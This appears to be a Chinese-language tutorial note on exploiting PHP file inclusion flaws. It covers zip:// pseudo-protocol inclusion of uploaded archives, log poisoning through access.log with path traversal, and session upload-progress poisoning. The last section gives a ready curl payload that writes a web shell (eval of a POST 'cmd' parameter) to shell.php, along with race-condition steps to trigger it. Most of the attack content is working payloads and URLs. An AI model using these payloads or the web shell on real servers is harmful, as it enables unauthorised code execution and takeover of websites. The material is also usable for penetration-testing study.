文件包含
伪协议
1 | php伪协议事实上就是其支持的协议与封装协议 |
参考文档:
https://www.php.net/manual/zh/wrappers.php
当只允许上传zip文件
使用zip协议phar协议解压
文件包含漏洞
1 | <?php |
绕过方法:
新建一个test.php
1 | <?php |
使用zip进行无损压缩test.php,phpinfo.zip
利用伪协议 解压缩zip文件
1 | ?file=zip://upload/phpinfo.zip%23phpinfo |
如果后面拼接的是jpg,
解决方法,新建php文件改名为jpg,然后压缩即可。
日志文件的利用
1 | 无法找到包含的文件,此时可使用日志文件 |
环境:httpd.conf文件中的配置CustomLog”logs/access.log”common
通过burp访问参数,不然会记录到日志文件后会被URL编码,导致无法当作php代码执行。
1 | ?a=<?php+phpinfo();?> |
然后通过文件包含漏洞页面
1 | /?file=../../../Extensions\Apache2.4.39\logs/access.log |
session会话利用
关键点:
php7.2之后,提供了如果提交表单数据具有PHP_SESSION_UPLOAD_PROGRESS=上传后具体session名称 和file=@具体文件路径,此时可保存指定session名称的会话文件。
session_upload_progress.enabled开启
1 | curl ...../test.php -H "Cookie:PHPSESSID=abc" -F "PHP_SESSION_UPLOAD_PROGRESS=<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]);?>');?>" -F "file=@/etc/passwd" |
加代理,使用burp
1 | curl -x 127.0.0.1:8090... |
由于session_upload_progress.cleaned开启,需要竞争上传。
最终要不断访问的文件名为:
1 | sess_abc |
直到生成shell.php。